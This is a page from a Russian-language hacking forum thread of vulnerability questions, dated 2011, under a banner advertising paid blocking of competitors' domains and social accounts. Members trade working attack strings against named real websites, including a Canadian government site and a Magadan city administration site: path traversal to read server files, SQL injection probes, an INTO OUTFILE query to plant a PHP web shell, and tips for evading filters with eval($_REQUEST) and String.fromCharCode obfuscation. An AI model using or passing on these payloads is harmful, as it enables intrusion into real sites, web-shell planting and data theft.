Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1725 из 2438

1725

Опции темы

Поиск в этой теме

Опции просмотра

#17241

09.06.2011, 07:05

M_script

Новичок

Регистрация: 04.11.2004

Сообщений: 5

С нами: 11322426

Репутация: 0

Цитата:

Сообщение от XAMEHA

WTF?oO
, файлы находящиеся за корнем отличаются от кодировки файлов находящимся в каталоге сайта т е файлы читаются в кодировке, отличной от их изначальной кодировки.

Проблема только с чтением данных, которые могут быть изменены клиентом.

Код:

http://staltorgmoscow.ru/index.php?option=com_canteen&controller=../../../../../../../proc/self/status%00ddd

Проще в хостинге зарегаться и посмотреть где логи лежат.

#17242

09.06.2011, 07:08

M_script

Новичок

Регистрация: 04.11.2004

Сообщений: 5

С нами: 11322426

Репутация: 0

M1lten, что именно не получается?

eval(String.fromCharCode(тут любой нужный JS-код))

#17243

09.06.2011, 11:46

BigBear

Новичок

Регистрация: 04.12.2008

Сообщений: 27

С нами: 9176038

Репутация: 8

Помогите разобраться вот с этой скулёй.

Код:

http://www.biogov.gc.ca/english/LinkSearch.asp?x=732&formAction=keywordsearch&txtSearchKeywords=13\

Мож есть статья как крутить при алертах

#17244

09.06.2011, 12:18

FlaktW

Участник форума

Регистрация: 19.08.2009

Сообщений: 115

С нами: 8803961

Репутация: 8

Цитата:

Сообщение от BigBear

Помогите разобраться вот с этой скулёй.

Код:

http://www.biogov.gc.ca/english/LinkSearch.asp?x=732&formAction=keywordsearch&txtSearchKeywords=13\

Мож есть статья как крутить при алертах

http://www.biogov.gc.ca/english/view.asp?x=551&mid=135+order+by+15

#17245

09.06.2011, 16:43

BigBear

Новичок

Регистрация: 04.12.2008

Сообщений: 27

С нами: 9176038

Репутация: 8

Цитата:

Сообщение от FlaktW

http://www.biogov.gc.ca/english/view.asp?x=551&mid=135+order+by+15

Пробовал. Вывода не нашёл.

Также пробовал через подзапрос

Код:

http://www.biogov.gc.ca/english/view.asp?x=551&mid=135+and+1=1+union+select+1

Так же болт.

#17246

09.06.2011, 23:37

KosoyRoman

Познающий

Регистрация: 14.09.2008

Сообщений: 38

С нами: 9292218

Репутация: 37

Бразы, кто в курсе нет каким макаром залить шелл через cnstats

#17247

09.06.2011, 23:42

d1v

Новичок

Регистрация: 21.02.2009

Сообщений: 3

С нами: 9061916

Репутация: 0

Цитата:

Сообщение от KosoyRoman

Бразы, кто в курсе нет каким макаром залить шелл через cnstats

какая версия?

#17248

10.06.2011, 13:56

FlaktW

Участник форума

Регистрация: 19.08.2009

Сообщений: 115

С нами: 8803961

Репутация: 8

Фильтруется кавычка, как здесь это обойти. В интернете искал, но по этому вопросу ничего не нашел.

http://www.cityadm.magadan.ru/index.php?cstart=4'+order+by+1+--+&do=cat&category=kotirovka

#17249

10.06.2011, 14:25

kroŧ

Новичок

Регистрация: 19.05.2010

Сообщений: 6

С нами: 8411065

Репутация: 4

?id=-512+UnIoN+AlL+sElEcT+1,2,'',4,5,6,7,8+INTO+OUTFILE +'/web3/vhosts/webhosting/news/php.php'--

выдает Bad Request

что можно сделать?

#17250

10.06.2011, 14:28

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 560

С нами: 8885780

Репутация: 672

Цитата:

Сообщение от kroŧ

?id=-512+UnIoN+AlL+sElEcT+1,2,'',4,5,6,7,8+INTO+OUTFILE +'/web3/vhosts/webhosting/news/php.php'--
выдает Bad Request
что можно сделать?

сервер ругается, вероятнее на слово $_GET или систем, подставь разные слова/функции смотри что конкретно фильтрует

пробуй eval($_REQUEST['a']), ну или как то так, в основном именно они не попадают под фильтр

---

да и вообще нах юзать system?

Страница 1725 из 2438

1725

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 9 (пользователей: 0 , гостей: 9)

Быстрый переход